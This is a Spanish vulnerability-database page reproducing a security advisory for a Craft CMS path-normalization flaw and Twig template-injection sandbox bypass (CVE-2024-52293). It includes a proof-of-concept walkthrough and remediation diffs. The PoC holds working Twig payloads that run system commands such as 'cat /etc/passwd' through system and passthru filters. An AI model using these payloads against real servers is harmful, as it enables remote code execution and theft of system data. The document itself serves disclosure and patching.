Alta

Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI

  • Publicada: 13.11.2024
  • Actualizado: 11.10.2026 10:22

Summary

Missing normalizePath in the function FileHelper::absolutePath could lead to Remote Code Execution on the server via twig SSTI.

(Post-authentication, ALLOW_ADMIN_CHANGES=true)

Details

Note: This is a sequel to CVE-2023-40035

In src/helpers/FileHelper.php#L106-L137, the function absolutePath returned $from . $ds . $to without path normalization:

php
/**
 * Returns an absolute path based on a source location or the current working directory.
 *
 * @param string $to The target path.
 * @param string|null $from The source location. Defaults to the current working directory.
 * @param string $ds the directory separator to be used in the normalized result. Defaults to `DIRECTORY_SEPARATOR`.
 * @return string
 * @since 4.3.5
 */
public static function absolutePath(
    string $to,
    ?string $from = null,
    string $ds = DIRECTORY_SEPARATOR,
): string {
    $to = static::normalizePath($to, $ds);

    // Already absolute?
    if (
        str_starts_with($to, $ds) ||
        preg_match(sprintf('/^[A-Z]:%s/', preg_quote($ds, '/')), $to)
    ) {
        return $to;
    }

    if ($from === null) {
        $from = FileHelper::normalizePath(getcwd(), $ds);
    } else {
        $from = static::absolutePath($from, ds: $ds);
    }

    return $from . $ds . $to;
}

This could leads to multiple security risks, one of them is in src/services/Security.php#L201-L220 where ../templates/poc is not considered a system dir.

Let's see what happens after calling isSystemDir("../templates/poc"):

php
/**
 * Returns whether the given file path is located within or above any system directories.
 *
 * @param string $path
 * @return bool
 * @since 5.4.2
 */
public function isSystemDir(string $path): bool // $path = "../templates/poc"
{
    $path = FileHelper::absolutePath($path, '/'); // $path = "/var/www/html/web//../templates/poc"

    foreach (Craft::$app->getPath()->getSystemPaths() as $dir) {
        $dir = FileHelper::absolutePath($dir, '/'); // $dir = "/var/www/html/templates"
        if (str_starts_with("$path/", "$dir/") || str_starts_with("$dir/", "$path/")) { // if (false || false)
            return true;
        }
    }

    return false; // We're here!
}

Now that the path ../templates/poc can bypass isSystemDir, it will also bypass the function validatePath in src/fs/Local.php#L124-L136:

php
/**
 * @param string $attribute
 * @param array|null $params
 * @param InlineValidator $validator
 * @return void
 * @since 4.4.6
 */
public function validatePath(string $attribute, ?array $params, InlineValidator $validator): void
{
    if (Craft::$app->getSecurity()->isSystemDir($this->getRootPath())) {
        $validator->addError($this, $attribute, Craft::t('app', 'Local filesystems cannot be located within or above system directories.'));
    }
}

We can now create a Local filesystem within the system directories, particularly in /var/www/html/templates/poc

Then create a new asset volume with that filesystem, upload a poc.ttml file with twig code and execute using a new route with template path poc/poc.ttml

Although craftcms does sandbox twig ssti, the list in src/web/twig/Extension.php#L180-L268 is still incomplete.

js
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

These payloads still work, see twigphp/Twig/src/Extension/CoreExtension.php#getFilters() and twigphp/Twig/src/Extension/CoreExtension.php#getOperators() for more informations.

PoC

  1. Craft CMS was installed using https://craftcms.com/docs/4.x/installation.html#quick-start
bash
mkdir craftcms && cd craftcms
ddev config --project-type=craftcms --docroot=web --create-docroot
ddev composer create -y --no-scripts "craftcms/craft"
ddev craft install
php craft setup/security-key
ddev start
<img width="1280" alt="start" src="https://github.com/user-attachments/assets/f8bcc22a-6ffd-40a5-81c6-c077fa4ce1d3">
  1. Create a new filesystem with base path ../templates/poc
<img width="1280" alt="filesystem" src="https://github.com/user-attachments/assets/fe78e023-bd51-4fc1-a22e-dcfa5baf266b">

Notice that the poc directory was created

<img width="167" alt="dir" src="https://github.com/user-attachments/assets/ccc45ce8-8555-4aae-ae48-320a630e7d79">
  1. Create a new asset volume using the poc filesystem
<img width="1280" alt="asset" src="https://github.com/user-attachments/assets/b5530766-11b4-4e45-ae58-82f81fc2db00">

Upload a poc.ttml file with RCE template code

js
{{'<pre>'}}
{{ 8*8 }}
{{['id'] has some 'system'}}
{{['ls'] has every 'passthru'}}
{{['cat /etc/passwd']|find('system')}}
{{['id;pwd;ls -altr /']|find('passthru')}}

Note: find was added to twig last month. If you're running this poc on an older version of twig try removing the last 2 lines.

<img width="1280" alt="upload" src="https://github.com/user-attachments/assets/63e65beb-2ede-4141-85d2-e7d21cd4b8ad">

ttml

  1. Create a new route * with template poc/poc.ttml
<img width="1280" alt="route" src="https://github.com/user-attachments/assets/b92d9340-b6a5-40d8-a8e8-ddab5cfc9f21">
  1. This leads to Remote Code Execution on arbitrary route /*
<img width="454" alt="rce" src="https://github.com/user-attachments/assets/19765f6c-1c28-4a0b-a89c-25f6f05ceca6">

Remediation

diff
diff --git a/src/helpers/FileHelper.php b/src/helpers/FileHelper.php
index 0c2da884a7..ac23ce556a 100644
--- a/src/helpers/FileHelper.php
+++ b/src/helpers/FileHelper.php
@@ -133,7 +133,7 @@ class FileHelper extends \yii\helpers\FileHelper
             $from = static::absolutePath($from, ds: $ds);
         }

-        return $from . $ds . $to;
+        return FileHelper::normalizePath($from . $ds . $to);
     }

     /**

fix_norm

See twigphp/Twig/src/Extension/CoreExtension.php for updated filters and operators, a possible fix could look like:

diff
diff --git a/src/web/twig/Extension.php b/src/web/twig/Extension.php
index efff2d2412..756f452f8b 100644
--- a/src/web/twig/Extension.php
+++ b/src/web/twig/Extension.php
@@ -225,6 +225,9 @@ class Extension extends AbstractExtension implements GlobalsInterface
             new TwigFilter('lcfirst', [$this, 'lcfirstFilter']),
             new TwigFilter('literal', [$this, 'literalFilter']),
             new TwigFilter('map', [$this, 'mapFilter'], ['needs_environment' => true]),
+            new TwigFilter('find', [$this, 'find'], ['needs_environment' => true]),
+            new TwigFilter('has some' => ['precedence' => 20, 'class' => HasSomeBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
+            new TwigFilter('has every' => ['precedence' => 20, 'class' => HasEveryBinary::class, 'associativity' => ExpressionParser::OPERATOR_LEFT]),
             new TwigFilter('markdown', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('md', [$this, 'markdownFilter'], ['is_safe' => ['html']]),
             new TwigFilter('merge', [$this, 'mergeFilter']),

fix_ssti

Impact

Take control of vulnerable systems, Data exfiltrations, Malware execution, Pivoting, etc.

Although the vulnerability is exploitable only in the authenticated users, configuration with ALLOW_ADMIN_CHANGES=true, there is still a potential security threat (Remote Code Execution)

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de Composer craftcms/cms >= 4.0.0-RC1, < 4.12.2, >= 5.0.0-RC1, < 5.4.3 4.12.2, 5.4.3

Referencias

Puntuación CVSS 7.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
Debilidad (CWE)
CWE-22, CWE-94
Plataforma
Composer
Paquete
craftcms/cms
Publicada
13.11.2024
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-f3cw-hg6r-chfv - CC BY 4.0

Historial de vulnerabilidades: craftcms/cms

Todas las vulnerabilidades publicadas de este paquete (Paquete de Composer), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (127) en el archivo
Entradas en total
127
Primera → última
07.2021 08.2026
Sin corrección
6
Explotada en ataques
4

Distribución por gravedad

  • Crítica 9
  • Alta 41
  • Media 65
  • Baja 12

Divulgaciones por año

  1. 2021: 3
  2. 2022: 22
  3. 2023: 13
  4. 2024: 9
  5. 2025: 6
  6. 2026: 74
Gravedad:
  1. Crítica CVE-2026-72780 >= 5.0.0-RC1, < 5.10.5 5.10.5
  2. Alta CVE-2026-72781 >= 5.0.0-RC1, < 5.10.7, >= 4.0.0-RC1, < 4.18.3 5.10.7, 4.18.3
  3. Alta CVE-2026-72778 >= 5.0.0-RC1, < 5.10.6, >= 4.0.0-RC1, < 4.18.2 5.10.6, 4.18.2
  4. Alta CVE-2026-55790 >= 5.0.0-RC1, < 5.9.23, >= 4.0.0-RC1, < 4.17.16 5.9.23, 4.17.16
  5. Alta CVE-2026-50282 >= 5.0.0-RC1, < 5.9.21, >= 4.0.0-RC1, < 4.17.14 5.9.21, 4.17.14
  6. Alta CVE-2026-50284 >= 5.0.0-RC1, < 5.9.22, >= 4.0.0-RC1, < 4.17.15 5.9.22, 4.17.15
  7. Crítica CVE-2026-55791 >= 5.0.0-RC1, < 5.10, >= 4.0.0-RC1, < 4.18 5.10, 4.18
  8. Alta CVE-2026-44011 >= 4.0.0, < 4.17.12, >= 5.0.0, < 5.9.18 4.17.12, 5.9.18
  9. Alta CVE-2026-44010 >= 5.0.0, < 5.9.18, >= 4.0.0, < 4.17.12 5.9.18, 4.17.12
  10. Alta CVE-2026-32267 >= 4.0.0-RC1, < 4.17.6, >= 5.0.0-RC1, < 5.9.12 4.17.6, 5.9.12
  11. Alta CVE-2026-32264 >= 4.0.0-RC1, < 4.17.5, >= 5.0.0-RC1, < 5.9.11 4.17.5, 5.9.11
  12. Alta CVE-2026-32263 >= 5.6.0, < 5.9.11 5.9.11
  13. Alta CVE-2026-31857 >= 5.0.0-RC1, < 5.9.9, >= 4.0.0-beta.1, < 4.17.4 5.9.9, 4.17.4
  14. Alta CVE-2026-31858 >= 5.0.0-RC1, < 5.9.9 5.9.9
  15. Alta CVE-2026-29069 >= 5.0.0-RC1, < 5.9.0-beta.2, >= 4.0.0-RC1, < 4.17.0-beta.2 5.9.0-beta.2, 4.17.0-beta.2
  16. Crítica CVE-2026-28697 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  17. Alta CVE-2026-28696 >= 4.0.0-RC1, < 4.17.0-beta.1, >= 5.0.0-RC1, < 5.9.0-beta.1 4.17.0-beta.1, 5.9.0-beta.1
  18. Alta CVE-2026-27127 >= 5.0.0-RC1, < 5.8.23, >= 3.5.0, < 4.16.19 5.8.23, 4.16.19
  19. Alta CVE-2026-25498 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  20. Alta CVE-2026-25497 >= 5.0.0-RC1, < 5.9.0-beta.1, >= 4.0.0-RC1, < 4.17.0-beta.1 5.9.0-beta.1, 4.17.0-beta.1
  21. Alta CVE-2026-25495 >= 5.0.0-RC1, < 5.8.22, >= 4.0.0-RC1, < 4.16.18 5.8.22, 4.16.18
  22. Alta CVE-2025-68455 >= 5.0.0-RC1, < 5.8.21, >= 4.0.0-RC1, < 4.16.17 5.8.21, 4.16.17
  23. Alta CVE-2025-68456 >= 5.0.0-RC1, < 5.8.21, >= 3.0.0, < 4.16.17 5.8.21, 4.16.17
  24. Alta CVE-2025-46731 >= 4.0.0-RC1, < 4.14.13, >= 5.0.0-RC1, < 5.6.15 4.14.13, 5.6.15
  25. Crítica · 10.0 Explotada en ataques CVE-2025-32432 >= 3.0.0-RC1, < 3.9.15, >= 4.0.0-RC1, < 4.14.15, >= 5.0.0-RC1, < 5.6.17 3.9.15, 4.14.15, 5.6.17
  26. Alta · 8.0 Explotada en ataques CVE-2025-23209 >= 5.0.0-RC1, < 5.5.8, >= 4.0.0-RC1, < 4.13.8 5.5.8, 4.13.8
  27. Crítica · 9.8 Explotada en ataques CVE-2024-56145 >= 5.0.0-RC1, < 5.5.2, >= 4.0.0-RC1, < 4.13.2, >= 3.0.0, < 3.9.14 5.5.2, 4.13.2, 3.9.14
  28. Craft CMS vulnerable to Potential Remote Code Execution via missing path normalization & Twig SSTI esta entrada
    Alta · 7.2 CVE-2024-52293 >= 4.0.0-RC1, < 4.12.2, >= 5.0.0-RC1, < 5.4.3 4.12.2, 5.4.3
  29. Alta · 7.7 CVE-2024-52292 >= 5.0.0-alpha.1, < 5.4.9, >= 3.5.13, < 4.12.8 5.4.9, 4.12.8
  30. Alta · 8.4 CVE-2024-52291 >= 5.0.0-RC1, < 5.4.6, >= 4.0.0-RC1, < 4.12.5 5.4.6, 4.12.5
  31. Crítica · 9.8 CVE-2024-37843 <= 3.7.31 sin corrección
  32. Alta · 7.5 CVE-2023-36260 < 4.6.2 4.6.2
  33. Crítica · 10.0 CVE-2023-41892 >= 4.0.0-RC1, < 4.4.15 4.4.15
Mostrar más (10) Mostrando 40 de 50

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.